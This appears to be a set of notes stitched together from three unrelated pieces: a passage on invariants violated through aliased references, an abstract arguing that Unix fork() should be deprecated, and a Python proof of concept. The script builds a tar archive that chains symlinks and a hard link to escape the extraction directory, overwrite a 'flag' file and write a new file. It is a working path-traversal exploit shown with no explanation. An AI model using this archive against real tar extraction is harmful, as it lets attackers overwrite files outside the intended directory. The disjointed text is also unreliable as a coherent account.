What do all three of these bugs have in common? In every case, an invariant was violated thanks to multiple aliased references to the same value.

Invariants are essential to large scale programming, because it is impossible to hold the entire state of a system in your head at once. <...>

However, code inevitably needs to temporarily violate an invariant while performing updates. The problem comes when there are multiple references to the relevant data, and another reference observes this temporarily violated invariant.

The received wisdom suggests that Unix’s unusual combination of fork() and exec() for process creation was an inspired design. In this paper, we argue that fork was a clever hack for machines and programs of the 1970s that has long outlived its usefulness and is now a liability. We catalog the ways in which fork is a terrible abstraction for the modern programmer to use, describe how it compromises OS implementations, and propose alternatives.

As the designers and implementers of operating systems, we should acknowledge that fork’s continued existence as a first-class OS primitive holds back systems research, and deprecate it. As educators, we should teach fork as a historical artifact, and not the first process creation mechanism students encounter.

import tarfile
import io
with tarfile.open("poc.tar", mode="x") as tar:
    root = tarfile.TarInfo("root")
    root.linkname = ("noop/" * 15) + ("../" * 15)
    root.type = tarfile.SYMTYPE
    tar.addfile(root)
    noop = tarfile.TarInfo("noop")
    noop.linkname = "."
    noop.type = tarfile.SYMTYPE
    tar.addfile(noop)
    hard = tarfile.TarInfo("hardflag")
    hard.linkname = "root/home/username/flag/flag"
    hard.type = tarfile.LNKTYPE
    tar.addfile(hard)
    content = b"overwrite\n"
    overwrite = tarfile.TarInfo("hardflag")
    overwrite.size = len(content)
    overwrite.type = tarfile.REGTYPE
    tar.addfile(overwrite, fileobj=io.BytesIO(content))
    content = b"new!\n"
    newfile = tarfile.TarInfo("root/home/username/flag/newfile")
    newfile.size = len(content)
    newfile.type = tarfile.REGTYPE
    tar.addfile(newfile, fileobj=io.BytesIO(content))